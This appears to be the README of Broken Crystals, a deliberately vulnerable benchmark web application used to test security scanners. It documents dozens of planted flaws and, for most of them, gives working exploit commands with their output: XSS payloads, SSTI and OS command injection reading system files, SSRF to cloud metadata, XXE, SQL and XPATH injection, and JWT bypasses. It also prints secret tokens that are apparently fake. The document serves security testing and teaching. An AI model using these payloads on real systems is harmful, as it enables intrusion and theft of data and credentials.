Broken Crystals is a benchmark application that uses modern technologies and implements a set of common security vulnerabilities.
The application contains:
- React based web client & API: http://localhost:3000
- Node.js server that serves the React client and provides both OpenAPI and GraphQL endpoints.
The full API documentation is available via swagger or GraphQL:
- Swagger UI - http://localhost:3000/swagger
- Swagger JSON file - http://localhost:3000/swagger-json
- GraphiQL UI - http://localhost:3000/graphiql
Note The GraphQL API does not yet support all the endpoints the REST API does.
Build and start local development environment with Postgres DB, MailCatcher and the app:
docker compose --file=compose.local.yml up -d
To rebuild the app and restart the containers:
docker compose --file=compose.local.yml up -d --build --force-recreate
Running tests by SecTester
In the path ./test
you can find tests to run with Jest.
First, you have to get a Bright API key, navigate to your .env
file, and paste your Bright API key as the value of the BRIGHT_TOKEN
variable:
BRIGHT_TOKEN=<your_API_key_here>
Then, you can modify a URL to your instance of the application by setting the SEC_TESTER_TARGET
environment variable in your .env
file:
SEC_TESTER_TARGET=http://localhost:3000
Finally, you can start tests with SecTester against these endpoints as follows:
npm run test:e2e
Full configuration & usage examples can be found in our demo project;
-
Broken JWT Authentication - The application includes multiple endpoints that generate and validate several types of JWT tokens. The main login API, used by the UI, is utilizing one of the endpoints while others are available via direct call and described in Swagger.
- No Algorithm bypass - Bypasses the JWT authentication by using the “None” algorithm (implemented in main login and API authorization code).
- RSA to HMAC - Changes the algorithm to use a “HMAC” variation and signs with the public key of the application to bypass the authentication (implemented in main login and API authorization code).
- Invalid Signature - Changes the signature of the JWT to something different and bypasses the authentication (implemented in main login and API authorization code).
- KID Manipulation - Changes the value of the KID field in the Header of JWT to use either: (1) a static file that the application uses or (2) OS Command that echoes the key that will be signed or (3) SQL code that will return a key that will be used to sign the JWT (implemented in designated endpoint as described in Swagger).
- Brute Forcing Weak Secret Key - Checks if common secret keys are used (implemented in designated endpoint as described in Swagger). The secret token is configurable via .env file and, by default, is 123.
- X5U Rogue Key - Uses the uploaded certificate to sign the JWT and sets the X5U Header in JWT to point to the uploaded certificate (implemented in designated endpoint as described in Swagger).
- X5C Rogue Key - The application doesn't properly check which X5C key is used for signing. When we set the X5C headers to our values and sign with our private key, authentication is bypassed (implemented in designated endpoint as described in Swagger).
- JKU Rogue Key - Uses our publicly available JSON to check if JWT is properly signed after we set the Header in JWT to point to our JSON and sign the JWT with our private key (implemented in designated endpoint as described in Swagger).
- JWK Rogue Key - We make a new JSON with empty values, hash it, and set it directly in the Header, and we then use our private key to sign the JWT (implemented in designated endpoint as described in Swagger).
-
Brute Force Login - Checks if the application user is using a weak password. The default setup contains user = admin with password = admin
Example Exploitation
To demonstrate brute force login, you can use the following
curl
command:$ curl https://brokencrystals.com/api/auth/login \ > -H 'Content-Type: application/json' \ > -d '{"user":"admin","password":"admin","op":"basic"}' {"email":"admin","ldapProfileLink":"(&(objectClass=person)(objectClass=user)(email=admin))"}
-
Common Files - Tries to find common files that shouldn’t be publicly exposed (such as “phpinfo”, “.htaccess”, “ssh-key.priv”, etc…). The application contains .htaccess and nginx.conf files under the client's root directory and additional files can be added by placing them under the public/public directory and running a build of the client.
Example Exploitation of Common Files
To demonstrate accessing a common file, you can use the following
curl
command:curl https://brokencrystals.com/.htaccess
Response:
RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}\.php -f RewriteRule ^(.*)$ $1.php ErrorDocument 400 /error_pages/400.php ErrorDocument 401 /error_pages/401.php ErrorDocument 403 /error_pages/403.php ErrorDocument 404 /error_pages/404.php ErrorDocument 410 /error_pages/410.php ErrorDocument 500 /error_pages/500.php #Serve .htc files correctly, for IE fixes AddType text/x-component .htc php_value upload_max_filesize 10M php_value post_max_size 10M php_value max_execution_time 200 php_value max_input_time 200
-
Cookie Security - Checks if the cookie has the “secure” and HTTP only flags. The application returns two cookies (session and bc-calls-counter cookie), both without secure and HttpOnly flags.
-
Cross-Site Request Forgery (CSRF)
-
Checks if a form holds anti-CSRF tokens, misconfigured “CORS” and misconfigured “Origin” header - the application returns "Access-Control-Allow-Origin: *" header for all requests. The behavior can be configured in the /main.ts file.
-
The same form with both authenticated and unauthenticated user - the Email subscription UI forms can be used for testing this vulnerability.
-
Different form for an authenticated and unauthenticated user - the Add testimonial form can be used for testing. The forms are only available to authenticated users.
-
-
Cross-Site Scripting (XSS) -
-
Reflective XSS There are couple of endpoints that are vulnerable to reflective XSS:
- Landing page with the dummy query param that contains DOM content (including script), add the provided DOM will be injected into the page and script executed.
- Landing page maptitle param that contains DOM content (including script), add the provided DOM will be injected into the page and script executed.
- /api/testimonials/count page count param is vulnerable to reflective XSS.
- POST to https://brokencrystals.com/api/metadata with body XML body vulnarable for reflective XSS.
- POST to https://brokencrystals.com/api/metadata with body SVG body vulnarable for reflective XSS.
Reflective XSS Example Exploitation
To demonstrate reflective XSS, you can use the following payloads:
-
Landing Page Dummy Query Parameter:
- URL:
https://brokencrystals.com/?__dummy=__<script>alert('XSS')</script>
- The
dummy
query parameter is directly injected into the DOM without sanitization, causing the script to execute.
- URL:
-
Landing Page Map Title Parameter:
- URL:
https://brokencrystals.com/?maptitle=<script>alert('XSS')</script>
- The
maptitle
parameter is used in the DOM and allows script execution.
- URL:
-
Testimonials Page Count Parameter:
- URL:
https://brokencrystals.com/api/testimonials/count?query=<script>alert('XSS')</script>
- The
query
parameter is reflected in the response without sanitization, allowing script execution.
- URL:
-
POST to /api/metadata with XML Body:
- URL:
https://brokencrystals.com/api/metadata
- Body:
<?xml version="1.0" encoding="UTF-8"?><x:script xmlns:x="http://www.w3.org/1999/xhtml">prompt("bright986352")</x:script><child></child>
- The XML body is processed and the script is executed in the response.
- URL:
-
POST to /api/metadata with SVG Body:
- URL:
https://brokencrystals.com/api/metadata
- Body:
<svg xmlns="http://www.w3.org2000/svg" xmlns:xlink="http://www.w3.org1999/xlink" viewBox="0 0 915 585"><g<x:script xmlns:x="http://www.w3.org/1999/xhtml">prompt("bright443188")</
- URL:
-
Persistent XSS can be demonstrated using add testimonial form on the landing page (for authenticated users only).
Persistent XSS Example Exploitation
To demonstrate persistent XSS, you can use the following steps:
-
Submit the following
curl
request to store the XSS payload:curl 'https://brokencrystals.com/api/testimonials' -X POST \ -H 'authorization: AUTH_TOKEN' \ -H 'Content-Type: application/json' \ --data-raw '{"name":"Test User","title":"Test Title","message":"<script>alert(12345)</script>"}'
-
Visit the testimonials page at
https://brokencrystals.com/marketplace
to observe the execution of the XSS payload.
-
-
DOM Cross-Site Scripting - can be demonstrated by using the mailing list subscription form on the landing page. The form sends a POST request to
/api/subscriptions?email=VALUE
, and the server's response is embedded into the page without any validation on either the server or client side. This allows an attacker to inject malicious scripts into the page.Example Exploitation
To demonstrate this vulnerability, you can submit the following payload in the email field of the subscription form:
<script> alert('XSS'); </script>
Brobser perform a POST request to
/api/subscriptions?email=<script>alert("XSS")</script>'
with the payload in the email field. The server's response will include the injected script, which will be embedded into the page and executed by the browser. This can be used to execute arbitrary JavaScript code in the context of the user's session.
-
-
Default Login Location - The login endpoint is available under /api/auth/login.
-
Directory Listing - The Nginx config file under the nginx-conf directory is configured to allow directory listing.
Example Exploitation of Directory Listing
To demonstrate directory traversal, you can use the following
curl
command:curl https://brokencrystals.com/vendor/
Example Response:
<head> <title>Index of /vendor/</title> </head> <html> <body> <h1>Index of /vendor/</h1> <hr /> <table style="width: max(450px, 50%);"> <tr> <td> <a href="/">../</a> </td> <td></td> <td></td> </tr> <tr> <td> <a href="/vendor/bootstrap-4.1">bootstrap-4.1</a> </td> <td>4/7/2025, 8:33:43 AM</td> </tr> ... </table> </body> </html>
-
File Upload - The application allows uploading an avatar photo of the authenticated user. The server doesn't perform any sort of validation on the uploaded file.
Example of No Anti-Virus Protection
Uploading an EICAR test file with the file extension changed to "exe":
curl -i 'https://qa.brokencrystals.com/api/users/one/admin/photo' \ -X PUT \ -H 'authorization: AUTH_TOKEN' \ -H 'Content-Type: multipart/form-data; boundary=--------------------------296987379026085658617195' \ --data-binary $'----------------------------296987379026085658617195\r\nContent-Disposition: form-data; name="admin"; filename="sample-img2ee0.exe"\r\nContent-Type: image/png\r\n\r\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\r\n----------------------------296987379026085658617195--\r\n'
The response indicates successful upload:
HTTP/2 200
Successfully fetching the file shows that the server stored the file:
$ curl -i 'https://qa.brokencrystals.com/api/users/one/admin/photo' -H 'authorization: AITH_TOKEN' HTTP/2 200 date: Wed, 26 Mar 2025 08:18:40 GMT content-type: application/octet-stream content-length: 68 x-xss-protection: 0 strict-transport-security: max-age=31536000; includeSubDomains x-content-type-options: 1 content-security-policy: default-src * 'unsafe-inline' 'unsafe-eval' set-cookie: bc-calls-counter=1742977120812 set-cookie: connect.sid=lMiES0Dvw-Ry3lTj3y66OZz5E4yss82w.N8A90AIvE3tPkAoQfoah5KOb6PUIuw%2FqXA2Lf2HkCBU; Path=/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
-
Full Path Disclosure - All errors returned by the server include the full path of the file where the error has occurred. The errors can be triggered by passing wrong values as parameters or by modifying the bc-calls-counter cookie to a non-numeric value.
Example of Full Path Disclosure
```bash curl -H 'Cookie:bc-calls-counter=notint;' 'https://wset--26331-12.k3s.brokencrystals.nexploit.app/api/products/latest' ``` Response: ```json { "error": "Invalid counter value", "location": "/usr/src/app/dist/components/global-exception.filter.js" } ``` The location field in the JSON response reveals the full internal file path: /usr/src/app/dist/components/global-exception.filter.js. This is sensitive information that should not be exposed to users, as it provides insights into the server's directory structure. -
Headers Security Check - The application is configured with misconfigured security headers. The list of headers is available in the headers.configurator.interceptor.ts file. A user can pass the no-sec-headers query param to any API to prevent the server from sending the headers.
-
HTML Injection - Both forms testimonial and mailing list subscription forms allow HTML injection.
-
CSS Injection - The login page is vulnerable to CSS Injections through a URL parameter: https://brokencrystals.com/userlogin?logobgcolor=transparent.
Example of CSS Injection
 -
HTTP Method fuzzer - The server supports uploading, deletion, and getting the content of a file via /put.raw addition to the URL. The actual implementation using a regular upload endpoint of the server and the /put.raw endpoint is mapped in Nginx.
-
LDAP Injection - The login request returns an LDAP query for the user's profile, which can be used as a query parameter in /api/users/ldap query query parameter. The returned query can be modified to search for other users. If the structure of the LDAP query is changed, a detailed LDAP error will be returned (with LDAP server information and hierarchy).
LDAP Injection Example Exploitation
curl "https://brokencrystals.com/api/users/ldap?query=%28%26%28objectClass%3Dperson%29%28objectClass%3Duser%29%28email%3D%2A%29%29"
This is a URI-encoded version of the following query:
https://brokencrystals.com/api/users/ldap?query=(&(objectClass=person)(objectClass=user)(email=*))
The query retrieves information about all users with an email address, using the wildcard
*
to match any email. This demonstrates how the endpoint can be exploited to extract sensitive information from the LDAP directory. -
Local File Inclusion (LFI) - The /api/files endpoint returns any file on the server from the path that is provided in the path param. The UI uses this endpoint to load crystal images on the landing page.
Example Exploitation
To demonstrate file disclosure, you can use the following
curl
commands:-
Accessing the
/etc/hosts
File with GET /api/file/rawcurl https://brokencrystals.com/api/file/raw\?path\=/etc/hosts
Example Response:
# Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 10.0.46.108 brokencrystals-56b48bd6f9-j4x8c # Entries added by HostAliases. 127.0.0.1 postgres keycloak-postgres keycloak nodejs proxy repeater db brokencrystals.local
-
Accessing the
/etc/hosts
File with GET /api/file/```bash curl https://brokencrystals.com/api/file\?path\=/etc/hosts ``` Example Response: ```text # Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 10.0.46.108 brokencrystals-56b48bd6f9-j4x8c # Entries added by HostAliases. 127.0.0.1 postgres keycloak-postgres keycloak nodejs proxy repeater db brokencrystals.local ```
-
-
Mass Assignment - You can add to user admin privileges upon creating user or updating userdata. When you are creating a new user /api/users/basic you can use additional hidden field in body request { ... "isAdmin" : true }. If you are trying to edit userdata with PUT request /api/users/one/{email}/info you can add this additional field mentioned above. For checking admin permissions there is one more endpoint: /api/users/one/{email}/adminpermission.
Hidden Field Exploitation for Privilege Escalation
1. Creating a Regular User```bash curl 'https://brokencrystals.com/api/users/basic' -X POST \ -H 'Content-Type: application/json' \ --data-raw '{"email":"regular_user","firstName":"John","lastName":"Doe","company":"Test","cardNumber":"123","phoneNumber":"555-1234","password":"password123","op":"basic"}' ``` 2. Login as Regular User ```bash curl 'https://brokencrystals.com/api/auth/login' -X POST \ -H 'Content-Type: application/json' \ --data-raw '{"user":"regular_user","password":"password123","op":"basic"}' ``` The response will contain an authorization token: ``` {"auth-token":"eyJ0eXAiOiJKV1QiLCJhbGci..."} ``` 3. Verify No Admin Permissions for Regular User ```bash curl 'https://brokencrystals.com/api/users/one/regular_user/adminpermission' \ -H 'authorization: eyJ0eXAiOiJKV1QiLCJhbGci...' ``` Response returns `false`, indicating no admin permissions. 4. Creating a User with Admin Privileges (Exploiting the Vulnerability) ```bash curl 'https://brokencrystals.com/api/users/basic' -X POST \ -H 'Content-Type: application/json' \ --data-raw '{"isAdmin":true,"email":"admin_user","firstName":"Admin","lastName":"User","company":"Test","cardNumber":"123","phoneNumber":"555-5678","password":"password123","op":"basic"}' ``` 5. Login as Admin User ```bash curl 'https://brokencrystals.com/api/auth/login' -X POST \ -H 'Content-Type: application/json' \ --data-raw '{"user":"admin_user","password":"password123","op":"basic"}' ``` This will return another authorization token for the admin user. 6. Verify Admin Permissions for the Admin User ```bash curl 'https://brokencrystals.com/api/users/one/admin_user/adminpermission' \ -H 'authorization: eyJ0eXAiOiJKV1QiLCJhbGci...' ``` Response returns `true`, confirming admin permissions have been granted.
-
Open Database - The index.html file includes a link to manifest URL, which returns the server's configuration, including a DB connection string.
Example exposed database donnection string
```bash curl http://brokencrystals.com/api/config ``` The server responds with configuration details: ```json { "awsBucket": "https://neuralegion-open-bucket.s3.amazonaws.com", "sql": "postgres://bc:bc@postgres:5432/bc", "googlemaps": "AIzaSyD2wIxpYCuNI0Zjt8kChs2hLTS5abVQfRQ" } ```
-
OS Command Injection - The /api/spawn endpoint spawns a new process using the command in the command query parameter. The endpoint is not referenced from UI.
Example Exploitation
To demonstrate an SSTI attack, you can use the following `curl` command: ```bash $ curl 'https://brokencrystals.com/api/spawn?command=uname%20-a' ``` The response includes a result of code execution: ``` Linux brokencrystals-5b9b6759cb-66vvt 6.1.115-126.197.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 5 17:36:57 UTC 2024 x86_64 Linux ```
Another Example Exploitation on graphQL
To demonstrate another SSTI attack, you can use the following `curl` command: ```bash curl -i -X POST -H Content-Type:application/json -H Accept:application/json 'https://brokencrystals.com/graphql' -d '{"query":"query ($getCommandResult_command: String!) { getCommandResult (command: $getCommandResult_command) }" ,"variables":{"getCommandResult_command":"/bin/cat /etc/passwd "}}' ``` The response includes a result of code execution: ``` {"data":{"getCommandResult":"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000::/home/node:/bin/sh\n"}}% ```
-
Secret Tokens - The /api/secrets and /api/config contains many secret tokens returns the server's configuration, including a various of API keys.
Example Exploitation of Secret Tokens
To demonstrate the exposure of secret tokens, you can use the following `curl` commands: ```bash curl https://brokencrystals.com/api/secrets ``` Response: ```json { "codeclimate": "CODECLIMATE_REPO_TOKEN=62864c476ade6ab9d10d0ce0901ae2c211924852a28c5f960ae5165c1fdfec73", "facebook": "EAACEdEose0cBAHyDF5HI5o2auPWv3lPP3zNYuWWpjMrSaIhtSvX73lsLOcas5k8GhC5HgOXnbF3rXRTczOpsbNb54CQL8LcQEMhZAWAJzI0AzmL23hZByFAia5avB6Q4Xv4u2QVoAdH0mcJhYTFRpyJKIAyDKUEBzz0GgZDZD", "google_b64": "QUl6YhT6QXlEQnbTr2dSdEI1W7yL2mFCX3c4PPP5NlpkWE65NkZV", "google_oauth": "188968487735-c7hh7k87juef6vv84697sinju2bet7gn.apps.googleusercontent.com", "google_oauth_token": "ya29.a0TgU6SMDItdQQ9J7j3FVgJuByTTevl0FThTEkBs4pA4-9tFREyf2cfcL-_JU6Trg1O0NWwQKie4uGTrs35kmKlxohWgcAl8cg9DTxRx-UXFS-S1VYPLVtQLGYyNTfGp054Ad3ej73-FIHz3RZY43lcKSorbZEY4BI", "heroku": "herokudev.staging.endosome.975138 pid=48751 request_id=0e9a8698-a4d2-4925-a1a5-113234af5f60", "hockey_app": "HockeySDK: 203d3af93f4a218bfb528de08ae5d30ff65e1cf", "outlook": "https://outlook.office.com/webhook/7dd49fc6-1975-443d-806c-08ebe8f81146@a532313f-11ec-43a2-9a7a-d2e27f4f3478/IncomingWebhook/8436f62b50ab41b3b93ba1c0a50a0b88/eff4cd58-1bb8-4899-94de-795f656b4a18", "paypal": "access_token$production$x0lb4r69dvmmnufd$3ea7cb281754b7da7dac131ef5783321", "slack": "xoxo-175588824543-175748345725-176608801663-826315f84e553d482bb7e73e8322sdf3" } ``` ```bash curl https://brokencrystals.com/api/config ``` Response: ```json { "awsBucket": "https://neuralegion-open-bucket.s3.amazonaws.com", "sql": "postgres://bc:bc@postgres:5432/bc", "googlemaps": "AIzaSyD2wIxpYCuNI0Zjt8kChs2hLTS5abVQfRQ" } ``` These responses reveal sensitive information, such as API keys, database connection strings, and other tokens, which should not be publicly accessible.
-
Server-Side Template Injection (SSTI) - The endpoint /api/render receives a plain text body and renders it using the doT (http://github.com/olado/dot) templating engine.
Server-Side Template Injection (SSTI) Example Exploitation
To demonstrate an SSTI attack, you can use the following
curl
command:curl 'https://brokencrystals.com/api/render' -X POST -H 'Content-Type: text/plain' \ --data-raw "{{= global.process.mainModule.require('child_process').execSync('ls -la /home') }}"
The response includes a result of code execution - lising /home dir
total 0 drwxr-xr-x 1 root root 18 Feb 20 15:27 . drwxr-xr-x 1 root root 40 Mar 21 11:57 .. drwxr-sr-x 2 node node 6 Feb 20 15:27 node
-
Server-Side Request Forgery (SSRF) - The endpoint /api/file receives the path and type query parameters and returns the content of the file in path with Content-Type value from the type parameter. The endpoint supports relative and absolute file names, HTTP/S requests, as well as metadata URLs of Azure, Google Cloud, AWS, and DigitalOcean. There are specific endpoints for each cloud provider as well -
/api/file/google
,/api/file/aws
,/api/file/azure
,/api/file/digital_ocean
.Example Exploitation of Server-Side Request Forgery (SSRF)
To demonstrate SSRF, you can use the following
curl
commands:-
Triggering a Request to an External Resource:
curl 'https://brokencrystals.com/api/file?path=https://httpbin.org/get'
Example Response:
{ "args": {}, "headers": { "Accept": "application/json, text/plain, */*", "Accept-Encoding": "gzip, compress, deflate, br", "Host": "httpbin.org", "User-Agent": "axios/1.7.7", "X-Amzn-Trace-Id": "Root=1-67ea5603-2599f0b04e318fa9241a659d" }, "origin": "18.212.149.236", "url": "https://httpbin.org/get" }
This demonstrates that the server can be used to make requests to external resources.
-
Triggering a Request to an Internal Network Resource:
curl 'https://brokencrystals.com/api/file?path=http://169.254.169.254/latest/meta-data/ami-id'
Example Response:
ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname iam/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/%
This demonstrates that the server can access internal network resources, which could expose sensitive information.
-
-
SQL injection (SQLi) - The
/api/testimonials/count
endpoint receives and executes SQL query in the query parameter. Similarly, the/api/products/views
endpoint utilizes thex-product-name
header to update the number of views for a product. However, both of these parameters can be exploited to inject SQL code, making these endpoints vulnerable to SQL injection attacks.SQL Injection Example Exploitation
To demonstrate an SQL injection attack, you can use the following
curl
commands:$ curl -o /dev/null -s -w "Total time: %{time_total} seconds\n" "https://brokencrystals.com/api/testimonials/count?query=%3BSELECT%20PG_SLEEP(5)--" Total time: 5.687800 seconds
This command injects a SQL query that causes the database to sleep for 5 seconds. The total time taken for the request indicates that the SQL injection was successful.
$ curl -o /dev/null -s -w "Total time: %{time_total} seconds\n" "https://brokencrystals.com/api/testimonials/count?query=%3BSELECT%20PG_SLEEP(1)--" Total time: 1.691999 seconds
Similar to the previous command, this one causes the database to sleep for 1 second, demonstrating the ability to manipulate the database's behavior through SQL injection.
$ curl https://brokencrystals.com/api/testimonials/count?query=select%20count%28table_name%29%20as%20count%20from%20information_schema.tables 214
This command retrieves the count of tables in the database's information schema, showing that the injected SQL query can access and extract data from the database.
</details>
-
Unvalidated Redirect - The endpoint /api/goto redirects the client to the URL provided in the url query parameter. The UI references the endpoint in the header (while clicking on the site's logo) and as a href source for the Terms and Services link in the footer.
Unvalidated Redirect Example Exploitation
To demonstrate an unvalidated redirect attack, you can use the following
curl
command:$ curl -I "https://qa.brokencrystals.com/api/goto?url=https://example.com" HTTP/1.1 302 Found Location: https://malicious-site.com
-
Version Control System - The client_s build process copies SVN, GIT, and Mercurial source control directories to the client application root, and they are accessible under Nginx root.
Version Control System Example Exploitation
To demonstrate the exposure of version control system files, you can use the following
curl
commands:-
Accessing Git Configuration:
curl https://brokencrystals.com/.git/config
Example Response:
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true ignorecase = true precomposeunicode = true
-
Accessing Mercurial Requirements:
curl https://brokencrystals.com/.hg/requires
Example Response:
dotencode fncache generaldelta revlogv1 sparserevlog store
These responses indicate that the version control system files are publicly accessible, which can expose sensitive information about the repository.
-
-
XML External Entity (XXE) - The endpoint, POST /api/metadata, receives URL-encoded XML data in the xml query parameter, processes it with enabled external entities (using
libxmljs
library) and returns the serialized DOM. Additionally, for a request that tries to load file:///etc/passwd as an entity, the endpoint returns a mocked up content of the file.XXE Example Exploitation
Additionally, the endpoint PUT /api/users/one/{email}/photo accepts SVG images, which are processed with libxml library and stored on the server, as well as sent back to the client.
To demonstrate an XXE attack, you can use the following
curl
command:curl 'https://brokencrystals.com/api/metadata' -X POST -H 'Content-Type: text/xml' \ --data-raw '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE replace [<!ENTITY nexploit_xxe SYSTEM "file://etc/passwd">]> <root> &nexploit_xxe; </root>'
The response containse servers file://etc/passwd content
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE replace [ <!ENTITY nexploit_xxe SYSTEM "file://etc/passwd"> ]> <root> root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin node:x:1000:1000::/home/node:/bin/sh </root>
-
JavaScript Vulnerabilities Scanning - Index.html includes an older version of several javascript libraries.
Example of exploit
### List of URLs with Known Vulnerabilities```text CVE-2020-11022 - https://brokencrystals.com/assets/vendor/jquery/jquery.min.js CVE-2020-11023 - https://brokencrystals.com/assets/vendor/jquery/jquery.min.js CVE-2024-6531 - https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.bundle.js CVE-2024-6531 - https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.bundle.min.js CVE-2024-6531 - https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.js CVE-2024-6531 - https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.min.js CVE-2025-26791 - https://brokencrystals.com/swagger/swagger-ui-bundle.js ``` ### Finding Known Vulnerabilities with Retire.js Retire.js is a tool that helps identify known vulnerabilities in JavaScript libraries. Below is an example of using Retire.js to scan a downloaded JavaScript file for vulnerabilities: ```bash # Download the JavaScript file /app # curl https://brokencrystals.com/assets/vendor/bootstrap/js/bootstrap.min.js -o bootstrap.min.js # Scan the file with Retire.js /app # retire --js bootstrap.min.js ``` #### Output: ``` ↳ bootstrap 4.1.0 has known vulnerabilities: - severity: medium; summary: XSS in collapse data-parent attribute; CVE: CVE-2018-14040; https://github.com/twbs/bootstrap/issues/20184 - severity: medium; summary: XSS in data-container property of tooltip; CVE: CVE-2018-14042; https://github.com/twbs/bootstrap/issues/20184 - severity: medium; summary: XSS in data-target property of scrollspy; CVE: CVE-2018-14041; https://github.com/advisories/GHSA-pj7m-g53m-7638 - severity: medium; summary: XSS in data-template, data-content, and data-title properties of tooltip/popover; CVE: CVE-2019-8331; https://github.com/advisories/GHSA-9v3m-8fp8-mj99 - severity: medium; summary: Bootstrap Cross-Site Scripting (XSS) vulnerability; CVE: CVE-2024-6531; https://github.com/advisories/GHSA-vc8w-jr9v-vj7f ``` This output highlights the vulnerabilities found in the specified JavaScript file, along with their severity, descriptions, and references for further details.
-
AO1 Vertical access controls - The page /dashboard can be reached despite the rights of user.
-
Broken Function Level Authorization - The endpoint DELETE
/users/one/:id/photo?isAdmin=
can be used to delete any user's profile photo by enumerating the user IDs and setting theisAdmin
query parameter to true, as there is no validation of it's value on the server side. -
IFrame Injection - The
/marketplace
page a URL parametervideosrc
which directly controls the src attribute of the IFrame at the bottom of this page. Similarly, the home page takes a URL parammaptitle
which directly controls thetitle
attribute of the IFrame at the CONTACT section of this page. -
Excessive Data Exposure - visiting the page
https://brokencrystals.com/adminpage
reveals a list of registered users, including their First Name, Last Name, Email, and Company. Observing the background traffic, aGET /api/users/search/
request is made, and the response contains sensitive data such ascardNumber
andphoneNumber
.This response exposes sensitive information, such as credit card numbers and phone numbers, which should not be accessible through this endpoint.
-
Business Constraint Bypass - The
/api/products/latest
endpoint supports alimit
parameter, which by default is set to 3. The/api/products
endpoint is a password protected endpoint which returns all the products, yet if you change thelimit
param of/api/products/latest
to be high enough you could get the same results without the need to be authenticated.Example Exploitation of Business Constraint Bypass
# Normal request that returns only 3 latest products curl https://brokencrystals.com/api/products/latest # Bypassing the constraint to get all products without authentication curl https://brokencrystals.com/api/products/latest?limit=1000
-
ID Enumeration - There are a few ID Enumeration vulnerabilities:
- The endpoint DELETE
/users/one/:id/photo?isAdmin=
which is used to delete a user's profile picture is vulnerable to ID Enumeration together with Broken Function Level Authorization. - The
/users/id/:id
endpoint returns user info by ID, it doesn't require neither authentication nor authorization.
- The endpoint DELETE
-
XPATH Injection - The
/api/partners/*
endpoint contains the following XPATH injection vulnerabilities:- The endpoint GET
/api/partners/partnerLogin
is supposed to log in with the user's credentials in order to obtain account info. It's vulnerable to an XPATH injection using boolean based payloads. When exploited it'll retrieve data about other users as well. You can use' or '1'='1
in the password field to exploit the EP. - The endpoint GET
/api/partners/searchPartners
is supposed to search partners' names by a given keyword. It's vulnerable to an XPATH injection using string detection payloads. When exploited, it can grant access to sensitive information like passwords and even lead to full data leak. You can use')] | //password%00//
or')] | //* | a[('
to exploit the EP. - The endpoint GET
/api/partners/query
is a raw XPATH injection endpoint. You can put whatever you like there. It is not referenced in the frontend, but it is an exposed API endpoint. - Note: All endpoints are vulnerable to error based payloads.
Example Exploitation of XPATH Injection
To demonstrate an XPATH injection attack, you can use the following
curl
command:$ curl "https://brokencrystals.com/api/partners/partnerLogin?user=anyuser&password=%27%20or%20%271%27%3D%271"
Response:
<?xml version="1.0" encoding="UTF-8"?> <root> <name>Walter White</name> <age>50</age> <profession>Chemistry Teacher</profession> <residency country="US" state="New Mexico" city="Albuquerque"/> <username>walter100</username> <password>Heisenberg123</password> <wealth>15M USD</wealth> <name>Jesse Pinkman</name> <age>25</age> <profession>Professional Product Distributer</profession> <residency country="US" state="New Mexico" city="Yo Moma"/> <username>dapinkman69</username> <password>Yoyo1!</password> <wealth>5M USD</wealth> <name>Michael Ehrmantraut</name> <age>65</age> <profession>Personal Security Agent</profession> <residency country="US" state="New Mexico" city="Albuquerque"/> <username>_safetyman_</username> <password>LittleKid777</password> <wealth>50M USD</wealth> <name>Gus Fring</name> <age>52</age> <profession>Restaurant Chain Owner</profession> <residency country="US" state="New Mexico" city="Albuquerque"/> <username>ChickMan</username> <password>GoodChicken4U</password> <wealth>Too much USD</wealth> </root>
- The endpoint GET
-
Prototype Pollution - The
/marketplace
endpoint is vulnerable to prototype pollution using the following methods:- The EP GET
/marketplace?__proto__[Test]=Test
